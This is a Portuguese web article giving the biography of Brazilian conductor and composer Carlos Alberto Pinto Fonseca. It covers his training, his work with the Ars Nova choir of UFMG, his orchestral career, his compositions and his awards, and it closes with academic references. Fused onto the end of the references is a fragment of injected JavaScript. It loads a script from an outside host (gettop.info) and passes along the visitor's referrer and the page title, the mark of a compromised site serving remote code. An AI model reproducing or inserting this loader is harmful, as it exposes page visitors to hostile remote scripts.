Escrito por em 18 jun 2017 nas áreas Artigo, Biblioteca, Lateral, Movimento

“Considero-o o responsável pelo maior conjunto vocal do Brasil.”


Falecido há mais de uma década, Carlos Alberto Pinto Fonseca foi reconhecido em vida como regente, compositor e professor. Sua obra abrange formações diversas como piano solo, música coral, canções para canto e piano, orquestra e outras. Frente a orquestras e coros, seu gesto claro e elegante foi aplaudido e reconhecido no Brasil e em diversos países das Américas, Europa e Ásia como representante máximo da música brasileira. Sob sua regência, nos Estados Unidos, o Ars Nova – Coral da UFMG, foi considerado um coro “capaz de cantar qualquer coisa sob o sol”.


Dados biográficos

Formação no Brasil e na Europa. Nascido em Belo Horizonte, aos 07 de junho do ano de 1933, Carlos Alberto Pinto Fonseca iniciou seus estudos musicais ao piano aos sete anos de idade, sob a orientação da compositora Jupyra Duffles Barreto (1913 – s.d.), que o recebeu em sua classe de Canto Orfeônico. No entanto, segundo o próprio Carlos Alberto Pinto Fonseca, seu interesse maior era a escultura, que surgiu a partir do contato estabelecido com a artista plástica belga Jeanne Milde (1900 – 1997), entre os anos de 1945 e 1946.

Já como aluno de piano do Conservatório Mineiro de Música, Carlos Alberto esteve sob orientação dos professores Pedro de Castro (s.d. – 1978), Hostílio Soares (1898–1988) e Fernando Coelho (s.d.). Suas primeiras composições datam de 1942, dedicadas a seus pais. Em 1954, Carlos Alberto foi à Bahia, onde estudou com Koellreutter (1915–2005), compositor e musicólogo alemão, nos Seminários de Música. Sob influência de Koellreutter, Carlos Alberto tomou contato com a harmonia de Hindemith e também começou a estudar regência coral.

Segundo Ângela Pinto Coelho, não apenas Koellreutter, mas também o compositor Ernest Widmer (1927–1990) exerceram influências definitivas na trajetória do maestro e compositor:

Koellreutter foi uma pessoa importantíssima na formação de Carlos Alberto. Foi através de Koellreutter e também de Widmer, que ele teve contato com o mundo fora de Minas Gerais. Profundo admirador de Jorge Amado, Carlos Alberto se permitiu sofrer todas as influências da cultura do estado da Bahia, no período em que estudou lá, absorvendo importantes elementos, presentes em sua produção artística“. (SANTOS, 2001, p. 17)

No segundo semestre de 1954, Carlos Alberto Pinto Fonseca mudou-se para São Paulo com o objetivo de estudar na Escola Livre de Música da Pró-Arte, onde permaneceu como aluno até o final de 1955. Em 1956, mudou-se para a Bahia e lá permaneceu até 1960, quando partiu para a Europa, mais precisamente a cidade de Hamburgo, e integrou a classe de Hans Schmidt-Isserstedt (1900–1973), que ministrava regência de orquestra. Motivado por um concerto regido por Wolfgang Sawallisch (1923–2013), Carlos Alberto decidiu mudar-se para Colônia e estudar com esse regente; lá também foi aluno de piano de Schmidt-Neuhaus (s.d.).

Em 1962, fixou residência em Paris. Na Casa do Brasil, na capital francesa, o jovem maestro estudou com Edouard Lindenberg (1908–1973). Sob orientação de Lindenberg, Carlos Alberto Pinto Fonseca foi finalista no Concurso Internacional para Jovens Regentes, em Besançon. Segundo o maestro e compositor, entre seus estudos regulares nos anos de 1960, 1961 e 1962, os cursos promovidos pela Accademia Musicale Chigiana em Siena são considerados como de muita importância em sua formação: regência de orquestra com Franco Ferrara (1911–1985) e Sergiu Celibidache (1912–1996), e direção de ópera e interpretação com Bruno Rigacci (s.d.) e Gino Bechi (1913–1993).

Estudei com Celibidache, em Siena. Com Celibidache, aprendi a técnica que possibilita tocar o coro como um instrumento. […] Podemos desenhar toda a melodia no ar, [ …] E no momento em que eu deixo esta linha significa que algo diferente está acontecendo. Refiro-me às figuras de marcação dos compassos onde todos os pontos de inflexão situam-se na mesma linha horizontal. Com isto, tenho a chance de criar no momento da execução. […] Às vezes, durante uma inspiração que surge, que me possibilita criar algo novo durante a execução, sinto que o coro me segue, respondendo a esta técnica, amando o que faz, e passando isto para o público também. O mais importante na história do Ars Nova, é que muitas vezes fazemos com que o público chore, o que, para mim, é mais importante que o aplauso entusiástico, porque comunicamos algo que emociona as pessoas“. (SANTOS, 2001, p. 19)

Na compilação de documentos referentes ao período em que Carlos Alberto Pinto Fonseca estudou na Europa, encontramos os seguintes dados relativos à sua educação musical naquele continente: Regência e Percussão (Musikhochschule, Hamburgo, 1960); Regência (Staatliche Hochschule für Musik Köln, Colônia, 1960/1961); Regência de Orquestra (Accademia Musicale Chigiana, Siena, 1962); Regência de Orquestra (Accademia Musicale Chigiana, Siena, 1966); Interpretação e Direção de Ópera (Accademia Musicale Chigiana, Siena, 1966); Aperfeiçoamento em Regência de Orquestra (Teatro Comunale, Bolonha, 1973).

Como consequência natural de seus estudos realizados no velho mundo, sua trajetória profissional e a história de um grupo vocal se cruzaram. Anos mais tarde, esse encontro e posterior trabalho em conjunto, resultariam no reconhecimento e aplausos recebidos em todos os países onde se apresentaram: o Ars Nova – Coral da UFMG e Carlos Alberto Pinto Fonseca.


Carlos Alberto Pinto Fonseca e o Ars Nova – Coral da UFMG

A origem do Ars Nova – Coral da UFMG está no Coral da UEE (União Estadual dos Estudantes), criado e conduzido pelo maestro Sergio Magnani (1914–2001), que em 1960 fixou residência na capital da Bahia e deixou a regência do coro sob a responsabilidade de Carlos Alberto Pinto Fonseca. Posteriormente integrado à Universidade Federal de Minas Gerais – UFMG, o Ars Nova foi um laboratório de criação e execução nas mãos do maestro, que teve à disposição durante décadas um grupo vocal estável e reconhecido internacionalmente, para representar suas composições e incontáveis obras do repertório tradicional.

Carlos Alberto Pinto Fonseca, s.d.

Considerado por Almeida Prado como o “maior conjunto vocal do Brasil”, o Ars Nova – Coral da UFMG foi a principal atividade desse compositor e regente. Grande parte da obra coral de Carlos Alberto foi criada especificamente tendo em mente as possibilidades deste coro. À frente dele, o maestro pôde trabalhar estilos variados, tanto de obras “a capella” quanto de significativo repertório acompanhado por orquestras. Ao mesmo tempo, divulgou obras em estreia nacional e mundial, como a Sexta Missa (1967) de Francisco Mignone, a Missa em Aboio, de Pedro Marinho e a Missa Afro-Brasileira – de batuque e acalanto (1971) de sua própria autoria.

Dentre as apresentações de obras completas realizadas pelo Ars Nova – Coral da UFMG, destacam-se a Missa Brevis (1570) e a Missa Aeterna Christi munera (1590), de Palestrina; a Missa Lord Nelson (1798), de Haydn; O Messias (1742), de Händel; Il Festino (c.1570). de A. Banchieri; óperas em forma de concerto como Dido e Eneas (c.1689). de Purcell, Orfeu e Eurídice (1762). de Gluck e A Flauta Mágica (1791). de Mozart; a Fantasia Coral (1807) e a Nona Sinfonia (1826). de Beethoven; a Sinfonia de Ressurreição (1894), de Mahler (estas duas últimas juntamente com outros corais mineiros) e a Sinfonia de Salmos (1930), de Stravinsky. Os motetos Singet dem Hern ein neues Lied e Jesu Meine Freude (1723) e a grande Missa em Si Menor (1733–1738), de Bach, além de Zwei Motetten, de Brahms.

Sob a regência de Carlos Alberto, o Ars Nova – Coral da UFMG obteve numerosos prêmios e condecorações ao longo de sua trajetória, os quais destacamos na figura a seguir:

Prêmios e condecorações recebidos pelo Ars Nova – Coral da UFMG, sob regência do maestro Carlos Alberto

Atualmente, o Ars Nova – Coral da UFMG é parte integrante da Escola de Música dessa instituição, e encontra-se sob os cuidados e a regência do professor Lincoln Andrade.


Orquestras

Significativa também foi a atuação de Carlos Alberto como regente de orquestras. Em 1964, estudou com o então Diretor Artístico e Regente Titular da Orquestra Sinfônica do Estado de São Paulo, Eleazar de Carvalho, que assim se expressou a respeito do jovem maestro:

Suas execuções foram, por isso, nobremente estilísticas, durante as quais, o fraseado, a dinâmica, a articulação e a pontuação barrocas, exigidas pelo regente nos ensaios, sobressaíram musical e artisticamente no momento da realização dos concertos. A OSESP e seu regente titular foram unânimes em reconhecer no Maestro Carlos Alberto Pinto Fonseca um profissional equipado tanto teoricamente quanto preparado para a sua aplicação na prática“. (SANTOS, 2001, p. 26)

Em Belo Horizonte, com o apoio da Universidade Federal de Minas Gerais, Carlos Alberto fundou a Orquestra de Câmara da UFMG. Segundo ele, essa orquestra foi criada em 1965, chegando a ser uma pequena orquestra sinfônica “…suprindo a necessidade de uma orquestra em Belo Horizonte, realizando inclusive concertos nas chamadas pré ruínas do Palácio das Artes”. A Orquestra de Câmara da UFMG, algumas vezes citada como Orquestra Sinfônica ou Orquestra Clássica da UFMG, foi extinta em 1974 após nove anos de atividades regulares. A extinção desta orquestra privou a cidade de Belo Horizonte de uma produção musical considerável.

Uma carta escrita por Francisco Mignone, em 1976, nos mostra sua satisfação pelo resultado obtido por Carlos Alberto Pinto Fonseca durante a regência de Festa das Igrejas, poema sinfônico composto nos anos de 1939 e 1940.

Rio de Janeiro, 30-06-1976
Meu caro e jovem colega Carlos Alberto Pinto Fonseca. Estou chegando em casa com a grande alegria de ter ouvido finalmente as minhas Impressões Sinfônicas ‘Festa das Igrejas’, interpretadas tal qual eu desejo e quero. E olhe que essa obra foi regida pelos maestros Szenkar, Toscanini, Ormandy e eu próprio: como autor!
Você, Carlos Alberto, captou o espírito da obra e soube dar aquele sabor e autenticidade que ninguém tinha conseguido. Não há dúvida que a sua capacidade diretorial é invulgar e invejabilíssima no melhor e mais amplo sentido da palavra.
Obrigado, obrigadíssimo do seu admirador e amigo,
Francisco Mignone

Carlos Alberto Pinto Fonseca em foto de divulgação como regente de orquestras, s.d.

Outras duas orquestras estiveram sob a regência de Carlos Alberto Pinto Fonseca como regente titular: a Orquestra de Câmara do Modern American Institute (MAI) e a Orquestra Sinfônica de Minas Gerais, após sua aprovação em concurso público realizado em 1981. Sobre seu trabalho junto a essa orquestra, registramos depoimento do próprio maestro:
Durante a direção de Nestor Santana tudo correu muito bem. Fizemos todo o ciclo Beethoven, inclusive com uma gratíssima recordação da Nona Sinfonia, com três récitas onde o Palácio das Artes esteve lotado, obtendo um sucesso incrível“. (SANTOS, 2001, p.27)

Sua atividade como regente de orquestra foi também reconhecida e admirada por Camargo Guarnieri (1907–1993), que assim se referiu ao colega:

“Afirmo que sua atuação, como regente, é ótima, usando gestos com discrição, exclusivamente para indicar a expressividade da obra que está dirigindo, sem qualquer afetação ou malabarismo inútil. Considero-o um dos mais talentosos chefes de orquestra brasileiros“.

Como regente convidado, Carlos Alberto Pinto Fonseca atuou diante das principais orquestras brasileiras, em estados como Pernambuco, Bahia, Minas Gerais, Rio de Janeiro, São Paulo, Rio Grande do Sul e no Distrito Federal.


A obra de Carlos Alberto: música, performance e docência

Carlos Alberto Pinto Fonseca é citado frequentemente como compositor nacionalista. No entanto, ele não se reconhecia fiel a apenas um estilo de composição. Quando questionado, usava o termo “eclético” para definir sua atuação como criador de obras musicais: “Minhas experiências vão da música impressionista ao dodecafonismo”. (SANTOS, 2001, p.29). Sobre a atuação de Carlos Alberto Pinto Fonseca como compositor, Sergio Magnani foi enfático ao declarar que:

Carlos Alberto é fundamentalmente um compositor brasileiro. Um compositor brasileiro que não se afasta das origens da musicalidade brasileira, embora tendo experimentado, e valiosamente, as linguagens contemporâneas. Então, soube dar um cunho altamente brasileiro em uma linguagem que não é mais a linguagem tonal dos pequenos arranjos folclóricos anteriores, mas sim a linguagem de uma verdadeira composição”. (SANTOS, 2001, p. 29)

As composições para piano solo, canto e piano, violão solo, piano e flauta, coro a capella, e coro com acompanhamento de outros instrumentos compõem a maior parte de sua produção. Outras formações musicais também são utilizadas, porém em menor quantidade.

As formações corais, para adultos ou crianças, constituem a maior parte da produção musical de Carlos Alberto Pinto Fonseca, o que se justifica ao observarmos sua estreita ligação com o Ars Nova – Coral da UFMG, desde a década de 1960. Essa ininterrupta atividade, junto a este corpo coral, proporcionou ao compositor oportunidades singulares de criação e experimentação na escrita musical destinada a obras vocais.

Amante da literatura e da poesia, Carlos Alberto explorou possibilidades musicais baseadas em textos de autores como Carlos Drummond de Andrade, Manuel Bandeira, Rabindranat Tagore, Pablo Neruda, além de trechos da Bíblia e, também, em textos próprios. Outro dado significativo em boa parte de suas obras para coro é o uso de textos oriundos da cultura afro-brasileira. Dessa maneira, na junção da cultura folclórica e dos ritmos afro-brasileiros, o compositor criou sua obra maior, a Missa Afro-brasileira (de batuque e acalanto), em 1971. Essa obra foi editada nos Estados Unidos, em 1978, pela Lawson-Gould Music Publishers Inc.

Segundo FERNANDES (2005) ao dissertar sobre a Missa Afro-brasileira nos informa que:

A obra é marcada pela presença constante de elementos do folclore e da música popular como o baião, o vira português, as cantigas de ninar, as cantigas de roda, o canto de aboio, o samba-canção, a marcha-rancho e o choro. Observa-se ainda a presença constante da rítmica afro-brasileira, a utilização de escalas modais e o uso da língua vernácula em alternância e/ou superposição com o latim“. (FERNANDES, 2005, p. 62)

Embora tenha composto uma obra volumosa, Carlos Alberto teve poucas oportunidades para publicação de sua criação. Assim, destacamos algumas obras: Seven Brazilian Etudes, para violão solo, editada pela Columbia Music, em 1978; Poema da purificação (1974), escrita com versos do poeta Carlos Drummond de Andrade, como a primeira obra publicada de Carlos Alberto Pinto Fonseca, também editada pela Lawson-Gould Music Publishers Inc., nos Estados Unidos da América.

O próprio Drummond, com quem Carlos Alberto Pinto Fonseca manteve uma troca de correspondências, comentou sobre a versão coral do maestro:

Caro Carlos Alberto, você me proporcionou uma alegria muito especial com sua composição e sua carta. Aquele poeminha de purificação ficou sendo um resíduo mais ou menos esquecido de minha mocidade, com seus problemas e angústias. E você pegou dessa peça quase arqueológica e edificou sobre ela uma pura e comovedora obra musical, de alta categoria. Sua carta, igualmente, é daqueles testemunhos que melhor espelham o artista e o homem, tão criativo aquele, e tão correto este...”  (SANTOS, 2001, p. 39)

Outros poucos títulos foram editados no Brasil, entre eles Os sinos, obra coral composta a partir de um poema de Manuel Bandeira, editada pela Funarte, no Promemus (Memória Musical Brasileira) em 1978; Trenzinho, um cânone a 4 vozes, editado em 1985 pela MusiMed Editora; Pontos de Caboclos da Falange de Oxossi, composição editada em Porto Alegre em 1997, por ter sido classificada em 3º lugar no Segundo Concurso de Composição de Canto Coral João de Souza Ribeiro; Orixás, composta para o Primeiro Concurso Nacional de Obras Corais, foi editada no álbum de partituras do referido concurso em 1992, pelo BDMG em Belo Horizonte.

Além de obras editadas, podemos citar ainda sua atuação em estúdio, pois Carlos Alberto Pinto Fonseca liderou inúmeras gravações em áudio que abrangem desde obras do período colonial brasileiro até obras contemporâneas, incluindo composições próprias. Assim, destacamos a primeira gravação mundial do Requiem, do compositor italiano Francesco Durante (1684–1755), obra resgatada em um sebo na Alemanha, no ano de 1957, pelo musicólogo Otto Drechsler (s.d.), que pode ser ouvida no endereço: https://www.youtube.com/watch?v=FgsL7nSlwjY.

 

O CD Requiem, com regência de Carlos Alberto Pinto Fonseca sobre obra de Francesco Durante.

Outros registros fonográficos dignos de nota, sob a regência de Carlos Alberto, são a Missa Afro-brasileira (de batuque e acalanto), de sua autoria, e o CD Antologia, lançado em comemoração aos 40 anos do Ars Nova – Coral da UFMG, contendo obras corais diversas, incluindo quatro faixas entre arranjos e composições do próprio maestro. Ainda, sua produção como professor merece destaque por meio de sua apostila Curso de Regência (s.d.), que contém diversos ensinamentos de sua atuação como docente. Este trabalho serviu como ferramenta para a orientação de inúmeros alunos que estiveram sob os cuidados do maestro.


Prêmios e distinções

Por sua atuação ao longo de décadas como maestro do Ars Nova – Coral da UFMG, recebeu inúmeros prêmios, com destaque para Melhor Regente de 1968 (Associação Paulista de Críticos Teatrais São Paulo, SP,1968); Troféu Villa-Lobos (1º Prêmio, Melhor Regente no 1º Festival Brasileiro de Canto Coral, Teatro Municipal de Niterói, Niterói, RJ, 1970).

O reconhecimento nacional e internacional, como compositor, se manifestou no 2º lugar (Setor de Composição Musical) no III Festival Universitário de Arte, União Estadual de Estudantes, Belo Horizonte, MG, 1965. Recebeu ainda o prêmio de melhor obra coral, estreada em São Paulo em 1976 (Missa Afro-Brasileira), concedido pela Associação Paulista de Críticos de Artes, São Paulo, SP, 1976; 1º Prêmio para as composições Cobra Corá e Haec Dies no II Concurso Nacional de Composições (Secretaria de Educação e Cultura da Paraíba), João Pessoa, PA, 1977; e Menzione d’onore per la composizione Haec Dies (II Edizione del Premio di Composizione Polifonica), Pescara, Itália, 1977.

Além dos prêmios acima citados, outras distinções merecem ser registradas por seu trabalho como compositor e regente: Prêmio Orfeus – Melhor Regente de Orquestra (Diários e Emissoras Associados) Belo Horizonte, MG, nos anos de 1964, 1967 e 1968; Palma de Ouro (Melhor Regente de Orquestra Clássica) nos anos 1967 e 1968; Palma de Ouro (Maior Personalidade do Setor Artístico Cultural), 1969; Diploma de Honra ao Mérito (Prefeitura de Belo Horizonte), Belo Horizonte, MG,1970; Destaque de 1973 (Jornal de Minas), Belo Horizonte, MG; Destaque de 1973 (Diário de Minas), Belo Horizonte, MG; Insígnia da Inconfidência (Méritos Cívicos), 1981.


Aposentadoria, falecimento e legado

Falecido em 2006, Carlos Alberto Pinto Fonseca representou fortemente a música coral brasileira.

Carlos Alberto Pinto Fonseca se viu vítima da aposentadoria compulsória, situação que afasta da produção formal inúmeros profissionais em plena capacidade de criação. O ano de 2003 marcou sua saída da Universidade Federal de Minas Gerais, como maestro. Na ocasião, uma homenagem a ele foi realizada, com a apresentação de obras diversas para canto e piano e canto coral. Poucos anos depois, em 2006, o maestro faleceu em Belo Horizonte.

Após seu falecimento, surgiu o Instituto Cultural Carlos Alberto Pinto Fonseca, dirigido por sua família, e que mantém viva sua memória. Desde o início do século 21, a obra de Carlos Alberto Pinto Fonseca tem despertado o interesse da pesquisa acadêmica, o que produziu um volume considerável, até o momento, sobre parte de sua obra e do entendimento de sua atuação como maestro. Essas pesquisas contribuem para que a força de sua importância histórica como compositor, como regente e como professor, continuem a exaltar a música brasileira.


REFERÊNCIAS

– COELHO, Willsterman Sottani. Técnicas de ensaio coral: reflexões sobre o ferramental do Maestro Carlos Alberto Pinto Fonseca. Belo Horizonte, 2009. Dissertação apresentada ao Programa de Pós-Graduação em Música da Escola de Música da UFMG, para obtenção do título de Mestre em Música.
– FERNANDES, Ângelo José. Missa Afro-Brasileira (de Batuque e Acalanto) de Carlos Alberto Pinto Fonseca: Aspectos Interpretativos. Campinas, 2004. Dissertação apresentada ao Programa de Pós-Graduação em Música do Instituo de Artes da Unicamp, para obtenção do título de Mestre em Música.
– FONSECA, Carlos Alberto Pinto. Missa Afro-Brasileira (de batuque e acalanto). New York: Lawson-Gould Music Publishers, 1978.
– Missa Afro-Brasileira (de Batuque e Acalanto). Ars Nova – Coral da UFMG. Regência: Carlos Alberto Pinto Fonseca. Rio de Janeiro: Continental, 1989. 33 rpm, stereo. (Disco de vinil).
– SANTOS, Mauro Camilo de Chantal. Carlos Alberto Pinto Fonseca: dados biográficos e catálogo de obras. Belo Horizonte, 2001. Dissertação apresentada à Escola de Música da UFMG, para obtenção do título de Mestre em Música de Câmara.}s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

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